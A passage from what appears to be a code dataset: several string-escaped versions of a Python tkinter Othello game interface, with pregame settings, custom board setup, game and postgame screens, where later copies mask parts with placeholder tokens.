self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n 